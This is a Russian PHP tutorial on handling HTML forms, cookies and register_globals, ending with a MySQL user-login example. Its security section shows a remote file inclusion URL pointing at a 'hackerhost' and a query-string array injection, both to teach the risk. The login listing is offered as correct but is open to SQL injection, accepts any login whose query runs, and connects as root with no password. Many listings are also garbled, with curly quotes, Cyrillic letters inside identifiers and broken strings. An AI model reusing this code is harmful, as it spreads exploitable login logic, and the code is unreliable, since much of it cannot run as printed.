Web-программирование. Обработка HTML-форм
Ваш IP-адрес: <?=$_SERVER[’REMOTE_ADDR’]?><br>
Ваш браузер: <?=$_SERVER[’HTTP_USER_AGENT’]?>
2.4. Работа с cookies
Использование cookies удобно как для программистов, так и для пользователей. Пользователям не приходится каждым раз заново вводить информацию о себе, а программистам cookies помогают легко и надежно сохранять информацию о пользователях.
Cookies — это файлы, хранящие строки, содержащие пары «имя-значение». С этими строками связан URL, по которому браузер определяет, нужно ли посылать cookies на сервер. В отличие от сеансовых переменных, которые хранятся на сервере, cookies расположены на клиентской машине.
Установка cookies
Установка cookies производится с помощью функции setcookie:
bool setcookie (string name [, string value [, int expire [, string path [, string domain [, int secure]]]]])
Эта функция имеет следующие аргументы:
name — имя cookie;
value — значение, хранящееся в copkie с именем name;
expire — время в секундах с 1 января 1970 года. По истечении этого времени cookie становится недействительным;
path — путь, по которому доступен cookie;
domain — домен, из которого доступен cookie;
secure — директива, определяющая, доступен ли cookie не по запросу HTTPS (HyperText Transmission Protocol, Secure — протокол защищенной передачи гипертекстов). По умолчанию эта директива имеет значение 0, что означает возможность доступа к cookie по обычному запросу HTTP.
2.4.1. Пример приложения с cookies
Создадим сценарий, подсчитывающий при помощи cookies количество обращений посетителя к странице. Необходимо устанавливать cookie перед отправкой в браузер каких-либо заголовков, поскольку сами cookies устанавливаются в виде заголовков. Потому, если установить cookies после какого-либо текста, отправляемого в браузер, то возникнет ошибочная ситуация.
Заметим, что в листинге мы обращаемся к переменной $counter, в которой хранится значение cookie, как к глобальной, что требует наличия включенной директивы register globais. Если эта директива отключена, то значение, хранящееся в cookie, можно получить через глобальные массивы $HTTP_COOKIE VARS[»name»] и $_COOKIE[»name»].
Листинг cookie.php. В cookie с именем counter храниться число посещений страницы пользователем (register globais=off)
<?
$_СООКIЕ[’counter’]++;
setcookie(“counter”,$counter);
echo 'Вы посетили эту страницу: '.$_COOKIE['counter'].' раз.';
?>
В окне браузера выглядит следующим образом:
Некоторые пользователи отключают cookies в своих браузерах. Поэтому для корректной работы приложения, использующего cookies, в него следует помещать код, проверяющий, включены ли cookies у посетителя. Если нет, то пользователю сообщается о необходимости включить cookies.
Листинг cookie_pr. Пример кода проверяющего включение cookie
<?
if (!$cookie)
{
//посылаем заголовок переадресации на страницу,
//с которой будет предпринята попытка установить cookie
header(“Location: $PHP_SELF?cookie=l”);
// устанавливаем cookie с именем «test»
setcookie(“test”,”1”);
}
else
{
if (!$test)
{
echo(«Для корректной работы приложения необходимо включить cookies»);
}
else
{
//cookie включены, переходим на нужную страницу
header(“Location: localhost/testl.php “);
}
}
?>
Функцию setcookie () всего лишь посылает в браузер пользователя cookie с указанным именем и значением.
2.5. Обработка списков с множественным выбором
В списках множественного выбора можно выбрать не одно, а сразу несколько значений. Чтобы сделать список с множественным выбором, необходимо для тега SELECT указать атрибут multiple:
<select name=month2 multiple>
<option value=01>Январь</option>
<option value=02>Февраль</option>
<option value=03>Mapт</option>
<option value=04>Апрель</option>
<option value=05>Maй</option>
<option value=06>Июнь</option>
<option value=07>Июль</option>
<option value=08>Август</option>
<option value=09>Ceнтябрь</option>
<option value=10>Oктябрь</option>
<option value=11>Hоябрь</option>
<option value=12>Декабрь</option>
</select>
После отправки формы параметры передаются так: name=value1&name=value2&name=value3...
Переменная $name = month2 будет содержать только последнее значение (value N).
Пусть выбрали Maй и Август. Тогда после отправки формы сценарию придет строка параметров month2 = Maй&month2 = Август, и в переменной $_REQUEST ['month2'] окажется, конечно, только Август.
Первый пункт (Maй) потерялся. Для решения подобных проблем в РНР предусмотрена возможность давать имена полям формы в виде «массива с индексами» month2[](квадратные скобки - это признак массива.):
<select name=”month2[]”multiple>
<option value=01>Январь</option>
<option value=02>Февраль</option>
<option value=03>Mapт</option>
<option value=04>Апрель</option>
<option value=05>Maй</option>
<option value=06>Июнь</option>
<option value=07>Июль</option>
<option value=08>Август</option>
<option value=09>Ceнтябрь</option>
<option value=10>Oктябрь</option>
<option value=11>Hоябрь</option>
<option value=12>Декабрь</option>
</select>
Теперь сценарию придет строка month2[]= Maй&month2[]= Август.
Интерпретатор обнаружит, что мы хотим создать «автомассив», т. е. массив, который не содержит пропусков и у которого индексация начинается с нуля. Интерпретатор создаст запись $_REQUEST ['month2'] типа «массив», содержимое которого следующее: array (0=>» Maй «, l=>» Август «). Как мы видим, в результате ничего не пропало — данные только слегка видоизменились.
В результате мы получим в $_REQUEST массив массивов (или двумерный массив, как его еще называют).
Таким образом, множественный список преобразован в массив. Массив представляет собой индексированную совокупность переменных одного типа. Каждая переменная или элемент массива имеет свой индекс, т.е. все элементы массива последовательно пронумерованы.
Обход массива в цикле организуют (обрабатывают его элементы) с помощью цикла foreach. Принцип работы этого цикла прост: при проходе каждого элемента массива в переменную $key помещается индекс этого элемента, а в переменную $value – его значение.
Нам даже не нужно знать количество переданных элементов списка. Предварительно лишь нужно сообщить РНР, что мы будем передавать массив:
<select name”month2[]”size=4 multiple>
Напомним, что квадратные скобки — это признак массива.
Обрабатывается массив так:
foreach($month2 as $key=>$value)
echo “$key = $value <br>”;
Листинг month2.html. Форма списка с множественным выбором
<html>
<head>
<title>Обработка списка с множественным выбором</title>
</head>
<body>
<form action=hello2.php>
<select name=”month2[]” size=4 multiple>
<option value=01>Январь</option>
<option value=02>Февраль</option>
<option value=03>Mapт</option>
<option value=04>Апрель</option>
<option value=05>Maй</option>
<option value=06>Июнь</option>
<option value=07>Июль</option>
<option value=08>Август</option>
<option value=09>Ceнтябрь</option>
<option value=10>Oктябрь</option>
<option value=11>Hоябрь</option>
<option value=12>Декабрь</option>
</select><br>
<input type=submit vа1ue = “Нажмите кнопку, чтобы запустить сценарий! «>
</form>
</body>
</html>
Листинг hello2.php. Обработка списка с множественным выбором при включенной директиве register_globals
<?php
echo “<bг><b>Список month2: </b><br>” ;
foreach ($month2 as $key=>$value)
echo “$key = $value <br>”;
?>
В окне браузера форма выглядит следующим образом:
Природа этой ошибки подробно будет рассмотрена в п. 3: «Какой режим выбрать: register_globals = off & on?». Здесь заметим лишь, что мы обратились к переменной $month2 как к глобальной, что требует наличия включенной директивы register_globals=on. Если эта директива отключена (register_globals=off), что настоятельно рекомендуется делать, то нужное значение можно получить через глобальный массив $_REQUEST['month2']. Поэтому сделаем необходимые исправления.
Листинг hello2.php. Обработка списка с множественным выбором при отключенной директиве register_globals
<?php
echo “<bг><b>Список month2: </b><br>” ;
foreach ($_REQUEST[’month2’] as $key=>$value)
echo “$key = $value <br>”;
?>
Прием с автомассивом в поле <seiect multiple> для списка с множественным выбором выглядит довольно элегантно. Однако не стоит думать, что он применим только к этому элементу формы: автомассивы можно применять и в любых других полях. Вот пример, создающий два переключателя (кнопки со значениями вкл/выкл), один элемент ввода строки и одно текстовое (многострочное) поле, причем все данные после запуска сценария, обрабатывающего эту форму, будут представлены в виде одного-единственного автомассива:
Листинг txt.html. Применение автомассивов
<html>
<head>
<title>Применение автомассивов</title>
</head>
<body>
<form action=hello3.php>
<input type=checkbox name=Arr[] value=chl>
<input type=checkbox name=Arr[] value=ch2>
<input type=text name=Arr[] value=”Однострочный текст”>
<textarea name=Arr[]>Многострочный текст</textarea>
<input type=submit vа1ue = “Нажмите кнопку, чтобы запустить сценарий! «>
</form>
</body>
</html>
В окне браузера форма выглядит следующим образом:
Листинг hello3.php. Сценарий обработки автомассивов
<?php
echo “<bг><b>Список month3: </b><br>” ;
foreach ($_REQUEST[’Arr’] as $key=>$value)
echo “$key = $value <br>”;
?>
Видно, что РНР совершенно нет никакого дела до того, в каких элементах формы мы используем автомассивы — он в любом случае обрабатывает все одинаково. И это, пожалуй, не только правильно, но и удобно.
2.6. Обработка массивов
Рассмотрены почти все возможности РНР по автоматической трансляции данных формы. Напоследок взглянем на еще одно полезное свойство РНР. Пусть имеется такая форма:
Листинг txt1.html. Форма для примера «Обработка массивов»
<html>
<head>
<title>Обработка массивов</title>
</head>
<body>
<form action=hello4.php>
Имя: <input type=text name=Data[name]><br>
Адрес: <input type=text name=Data[address]><br>
Город: <br>
<input type=radio name=Data[city] value=Newomoscow>Новомocковск<br>
<input type=radio name=Data[city] value=Kiev>Kиев<br>
<input type=submit vа1ue = “Нажмите кнопку, чтобы запустить сценарий! «>
</form>
</body>
</html>
В окне браузера форма выглядит следующим образом:
После передачи подобных данных сценарию на РНР в нем будет инициализирован ассоциативный массив $Data с ключами name, address и city. То есть, имена полям формы можно давать не только простые, но и представленные в виде одномерных ассоциативных массивов.
В сценарии к отдельным элементам формы можно обратиться при помощи указания ключа массива: например, $_REQUEST ['Data'] ['city'] обозначает значение той радиокнопки, которая была выбрана пользователем, а $_REQUEST ['Data'] ['name'] — введенное имя.
Предупреждение. В сценарии обязательно нужно заключать ключи в кавычки или апострофы. В противном случае интерпретатором будет выведено предупреждение. В то же время, в параметрах name полей формы, наоборот, нужно их избегать — так устроен РНР.
Напишем сценарий.
Листинг hello4.php. Сценарий для обработки массива
<?php
echo “<bг><b>Список month4 </b><br>” ;
foreach ($_REQUEST[’Data’] as $key=>$value)
echo “$key = $value <br>”;
?>
2.7. Особенности обработки независимых переключателей
Рассмотрим вопрос, который находит частое практическое применение в Web-программировании. Независимый переключатель (checkbox или более коротко — флажок) имеет одну довольно неприятную особенность, которая иногда может помешать Web-программисту. Если перед отправкой формы пользователь установил независимый переключатель в выбранное состояние, то сценарию в числе других параметров приходит пара имя_флажка=значение. В то же время, если флажок не был установлен пользователем, указанная пара не посылается.
Для упрощения обработки, хотелось бы, чтобы в невыбранном состоянии флажок также присылал данные, но только значение было равно какой-нибудь специальной величине — например, нулю или пустой строке.
Добиться этого эффекта в РНР довольно несложно. Достаточно воспользоваться одноименным скрытым полем (hidden) со значением, равным, например, нулю, поместив его перед нужным флажком.
Листинг checkbox.php. Особенности обработки независимых переключателей
<?php # # Гарантированный прием значений от флажков.
if (@$_REQUEST[’doGo’] )
{
foreach (@$_REQUEST [’known’] as $k=>$v)
{
if($v) echo «Вы знаете язык $k!<br>»;
else echo «Вы не знаете языка $k. <br>»;
}
}
?>
<form action=”<?=$_SERVER[’SCRIPT_NAME’]?>” method=post>
Какие языки программирования вы знаете?<br>
<input type=hidden name=”known[PHP]” value=”0”>
<input type=checkbox name=”known[PHP]” value=”l”>PHP<br>
<input type=hidden name=”known[Perl] “ value=”0”>
<input type=checkbox name=”known[Perl]” value=”l”>Perl<br>
<input type=submit name=”doGo” value=”Go!”>
</form>
Инструкция foreach предназначена для перебора всех элементов массива, указанного в ее первом аргументе.
Теперь в случае, если пользователь не выберет никакой из флажков, браузер отправит сценарию пару known [язык] = 0, сгенерированную соответствующим скрытым полем, и в массиве $_request [' known'] создастся соответствующий элемент:
Если пользователь выберет флажок, эта пара также будет послана, но сразу же после нее последует пара known [язык] =1, которая «перекроет» предыдущее значение:
Если бы не были включены скрытые поля в форму, сценарий печатал бы только сообщения о тех языках, которые «знает пользователь», пропуская языки, ему «неизвестные». В рассмотренном случае сценарий реагирует и на сброшенные флажки.
Такой способ немного увеличивает объем данных, передаваемых методом post, за счет тех самых пар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это «увеличение» практически незаметно (особенно для POST-форм).
2.8. Диагностика создаваемых массивов
Напомним, какие массивы создает РНР, когда обрабатывает данные, пришедшие из формы:
● $_GET — содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET [' login'];
● $_post — данные формы, пришедшие методом post;
● $_cookie — все cookies, которые прислал браузер;
● $_REQUEST — объединение трех перечисленных выше массивов.
Именно переменную $_REQUEST рекомендуется использовать в скриптах, потому что таким образом мы не «привязываемся» жестко к типу принимаемых данных (get или post);
● $_server — содержит переменные окружения, переданные сервером (отсюда и название).
Может показаться, что это много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев: можно вывести все переменные в браузер.
Листинг dump.php. Вывод всех переменных в браузер
<! - - Выводит все глобальные переменные - ->
<pre>
<?print_r($GLOBALS)?>
</pre>
Задача данного сценария — распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $GLOBALS. Встроенная функция print_r() делает все остальное.
Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET-данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML-форм.
3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on ?
В рассмотренных примерах каждый раз при обращении к переменным, полученным из полей формы, писали:
$_REQUEST[' … ']
Это делать необходимо из-за того, что все данные из полей формы PHP помещает в глобальный массив $_REQUEST.
В ранних версиях РНР (вплоть до РНР 4.1) существовал способ, позволяющий работать с полями формы значительно проще. По умолчанию РНР не помещал данные в $_REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, можно было написать такой сценарий:
<!- - Вывод параметров командной строки. - ->
<?php
echo”Hello, $name!”;
?>
Запустив его с нужным параметром, например: localhost/hello.php?name=Виктор Сергеевич, можно увидеть корректную страницу приветствия: РНР создал глобальную переменную $name, значение которой и напечатано:
Такой режим работы называется register_globals и поддерживается в РНР по сей день. При этом в файле php.ini этот параметр находится во включенном состоянии:
Однако, начиная с PHP 4.2.0, register_globals по умолчанию выключен в файле php.ini:
Разработчики РНР поступили так по соображениям безопасности: часто скрипты, написанные в расчете на включенный register_globals, обнаруживали проблемы с защитой.
Внимание |
Начиная с PHP 4.2.0, значение директивы register_globals по умолчанию установлено в off (отключено, раньше было on - включено). Положение register_globals в off делает предопределенные переменные доступными в глобальной области видимости. Например, чтобы получить: ● $DOCUMENT_ROOT, вам необходимо будет использовать $_SERVER['DOCUMENT_ROOT'] вместо $DOCUMENT_ROOT; ● $_GET['id'] из URL example/test.php?id=3 вместо $id; ● $_ENV['HOME'] вместо $HOME. Использование доступных зарезервированных предопределенных переменных PHP, таких как суперглобальные массивы, является предпочтительным. |
Предупреждение! |
В PHP 4.2.0 и позднее, набор по умолчанию предопределённых переменных, доступных в глобальной области видимости, изменён. Отдельные переменные ввода и сервера по умолчанию больше не размещаются непосредственно в глобальной области видимости; они размещаются в суперглобальных массивах. Вы можете форсировать старое поведение, установив register_globals в 'On' в вашем файле php.ini. |
Суперглобальные переменные PHP $GLOBALS Содержит ссылку на каждую переменную, доступную в данный момент в глобальной области видимости скрипта. Ключами этого массива являются имена глобальных переменных. $GLOBALS существует, начиная с PHP 3. $_SERVER Переменные, установленные web-сервером либо напрямую связанные с окружением выполнения текущего скрипта. Аналог старого массива $HTTP_SERVER_VARS (который по-прежнему доступен, но не рекомендуется). $_GET Переменные, передаваемые скрипту через HTTP GET. Аналог старого массива $HTTP_GET_VARS (который по-прежнему доступен, но не рекомендуется). $_POST Переменные, передаваемые скрипту через HTTP POST. Аналог старого массива $HTTP_POST_VARS (который по-прежнему доступен, но не рекомендуется). $_COOKIE Переменные, передаваемые скрипту через HTTP cookies. Аналог старого массива $HTTP_COOKIE_VARS (который по-прежнему доступен, но не рекомендуется). $_FILES Переменные, передаваемые скрипту через HTTP post-загрузку файлов. Аналог старого массива $HTTP_POST_FILES (который по-прежнему доступен, но не рекомендуется). Для дополнительной информации смотрите Загрузка методом POST. $_ENV Переменные, передаваемые скрипту через окружение. Аналог старого массива $HTTP_ENV_VARS (который по-прежнему доступен, но не рекомендуется). $_REQUEST Переменные, передаваемые скрипту через механизмы ввода GET, POST и COOKIE, и которым, следовательно, нельзя доверять. Наличие и порядок включения переменных в этот массив определяется в соответствии с директивой конфигурации PHP variables_order. Этот массив не имеет прямых аналогов в версиях PHP до 4.1.0 |
Рекомендуется писать скрипты с расчетом на выключенный register_globals.
Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот.
Для повышения безопасности работы нужно сконфигурировать PHP с опцией register_globals = off. Отключив возможность внедрения отправленных пользователем переменных в PHP-код, можно уменьшить количество заражённых переменных, которые потенциальный взломщик может попытаться направить вам. Для подделки отправляемой информации понадобится дополнительное время, а ваши внутренние переменные будут эффективно изолированы от отправляемых пользователем данных.
Хотя понадобятся некоторые дополнительные усилия при работе с PHP, но преимущества от этой работы с лихвой окупят эти затраты.
3.1. Первый пример уязвимости
Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:
<?php
//*** здесь устанавливается переменная $root
//*** ...
// запускаем другой скрипт, который ищем в каталоге $root
include $root.»/library.php»;
?>
Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:
example/scnpt.pbp?root=hackerhost
Здесь example — это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер.
Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:
include “hackerhost/library.php”;
В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.
3.2. Второй пример уязвимости
Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.
Более простой пример связан с массивами. Многие люди пишут в своих программах:
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:
$artefacts = array();
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:
example/script.php?artefacts[reboot]=yes
При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.
Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.
Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:
● Будет ли данный скрипт воздействовать только на предполагаемые файлы?
● Могут ли быть обработаны необычные или нежелательные данные?
● Может ли данный скрипт быть использован несоответствующим образом?
● Может ли он быть использован в сочетании с другими скриптами негативным образом?
● Будет ли выполнен адекватный логинг для каждой транзакции?
Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.
Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).
3.3. Порядок трансляции переменных
Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен.
Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookieA=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST [ 'A' ] будет записано 30, поскольку cookie перекрывает post и get.
В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария.
Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через:
$_SERVER['переменная'] или getenv('переменная')
4. ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL
Хранение информации о данных регистрации осуществляется в базе данных MySQL. Пример включает в себя три скрипта. В первом, auth.php, происходит регистрация пользователей. Второй скрипт, members_only.php, предоставляет информацию, доступную только для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php, реализован выход из системы.
Для работы необходимо создать базу данных auth. Это можно сделать, выполнив SQL-запрос, текст которого приведен в листинге
Листинг auth.txt. Создание базы данных
create database auth;
use auth;
create table auth
(
name varchar(10) not null,
pass varchar(30) not null,
primary key (name)
);
Чтобы создать в системе базу данных, нужно войти в систему MySQL и ввести в командной строке MySQL:
mysql> create database auth;
После этого следует набрать:
mysql>use auth;
База данных создана:
Следующий этап настройки базы данных — создание таблиц. Это делается при помощи SQL-команды CREATE TABLE:
create table auth
(
name varchar(10) not null,
pass varchar(30) not null,
primary key (name)
);
Таблицы базы данных созданы:
Можно просмотреть перечень таблиц созданной базы данных c помощью оператора SHOW:
Можно отобразить информацию о столбцах всех таблиц c помощью оператора DESCRIBE:
Для просмотра данных, сохраненных в каждой таблице, можно применить оператор SELEKT:
Листинг auth.php. Код скрипта для регистрации пользователя
<?
$dblocation = “127.0.0.1”;
$dbname = “local”;
$dbuser = “root”;
$dbpasswd = “”;
session_start();
if(isset($HTTP_POST_VARS[’userid’]) &&
isset($HTTP_POST_VARS[’password’]))
{
$userid = $HTTP_POST_VARS[’userid’];
$password = $HTTP_POST_VARS[’password’];
$db_connect=mysql_connect($dblocation, $dbuser, $dbpasswd);
mysql_select_db(‘auth’,$db_connect);
$query = “select * from auth where name=’”.$userid.”’
and pass = password(‘$password’);”;
$result = mysql_query($query,$db_connect);
if ($result)
{
$HTTP_SESSION_VARS[’valid_user’] = $userid;
}
}
?>
<html>
<body>
<h1> Страница регистрации </h1>
<?
if (isset($HTTP_SESSION_VARS[’valid_user’]))
{
echo ‘Вы зарегистрированы как ‘.$HTTP_SESSION_VARSI[’valid_user’].
‘<br />’;
echo ‘<a href=”destroy.php”>Bыход</a><br />’;
}
else
{
if (isset($userid))
{
echo(“Регистрация невозможна”);
}
?>
<form method=”post” action=”auth.php”>
<table>
<tr><td>Имя: </td>
<td><input type=”text” name=”userid”</td></tr>
<tr><td>Пароль: </td>
<td><input type=”password” name=”password”></td></tr>
<tr><td colspan=2><input type=submit value=’Зарегистрировать ‘>
</td></tr>
</table></form>
<?
}
?>
<br>
<a href =»members_only.рhр»> Только для зарегистрированных пользователей </а>
</body>
</html>
В результате выполнения этого скрипта, если пользователь еще не зарегистрирован, для него отображается входная страница регистрации:
После того как посетитель введет свои данные и зарегистрируется, ему будет выдано сообщение об успешной регистрации:
Если регистрация, по каким – либо причинам не удалась, можно вернуться назад на страницу регистрации:
Если регистрация удалась, то посетитель может попасть на страницу для зарегистрированных пользователей, код которой реализован в скрипте members_only.php.
Листинг members_only.php. Код скрипта для страницы зарегистрированных пользователей
<?
session_start();
if (isset($HTTP_SESSION_VARS[’valid_user’]))
{
echo ‘Здравствуйте,’.$HTTP_SESSION_VARS[’valid_user’].’<br />;
echo(«Информация на этой странице доступна только для зарегистрированных пользователей <br>»);
}
else
{
echo(«Вы не зарегистрированы <br>»);
}
echo '<a href =»auth.php»>Haзад на страницу регистрации </а>';
?>
При переходе посетителя по ссылке «Выход», реализуется скрипт destroy.php, по которому осуществляется разрегистрация сеансовых переменных и завершение сеанса.
Листинг destroy.php. Код скрипта для завершения сеанса и разрегистрации сеансовых переменных
<?
session_start();
$old_user = $HTTP_SESSION_VARS[’valid_user’];
unset($HTTP_SESSION_VARS[’valid_user’]);
session_destroy();
?>
<html>
<body>
<h1>Выход</h1>
<a href=»auth.php»>Haзад на страницу регистрации</а>;
</body>
</html>
5. ЗАДАНИЕ НА САМОСТОЯТЕЛЬНУЮ РАЗРАБОТКУ
Создать HTML-документ с формой, использующей все типы описанных полей. А затем написать сценарий, который будет обрабатывать переданные параметры, и хранить информацию о данных регистрации пользователя в базе данных MySQL.
В окне браузера форма должна выглядеть примерно так:
Когда пользователь нажмет кнопку Передать, браузер передаст сценарию следующие параметры:
● txt — значение текстового поля;
● pswd — значения поля ввода пароля;
● hid — значение скрытого поля;
● параметры varl и var2 будут переданы только, если соответствующие им переключатели активны (может быть передано одно из значений, оба значения или же ни одно из значений);
● sex — значение группы зависимых переключателей (будет передано одно из значений — male или female);
● t_area — содержимое текстовой области;
● month — значение списка без возможности множественного выбора;
● month [] — значение списка с возможностью множественного выбора.
Теперь нужно разобраться, как обработать все эти параметры.
● Параметры txt, pswd, hid и t_area обрабатываются легко. Интерпретатор создает для каждого параметра переменную с соответствующим именем.
● С параметрами varl и var2 дело обстоит несколько сложнее. Если переключатель не активен, то параметры вообще не будут переданы на сервер, как будто бы вообще их и не было. Следовательно, не будет создана глобальная переменная и при попытке обращения к такой переменной, мы получим сообщение о том, что переменная не существует. Поэтому просто написать echo $varl; мы не можем: нужно предварительно проверить, существует ли переменная.
Только после проверки существования можно начинать работу с переменной.
● Параметр sex, то есть зависимый переключатель, обрабатывается легко — браузер передает только одно из значений. Другими словами, параметр sex будет равен или male, или female.
● Точно также обрабатывается параметр $month — это обыкновенный список без возможности множественного выбора, поэтому по сути его можно представить, как набор из зависимых переключателей.
● Сложнее всего обработать список с множественным выбором. Ведь в этом случае параметры передаются так:
name=valuel&name=value2&name=value3...
При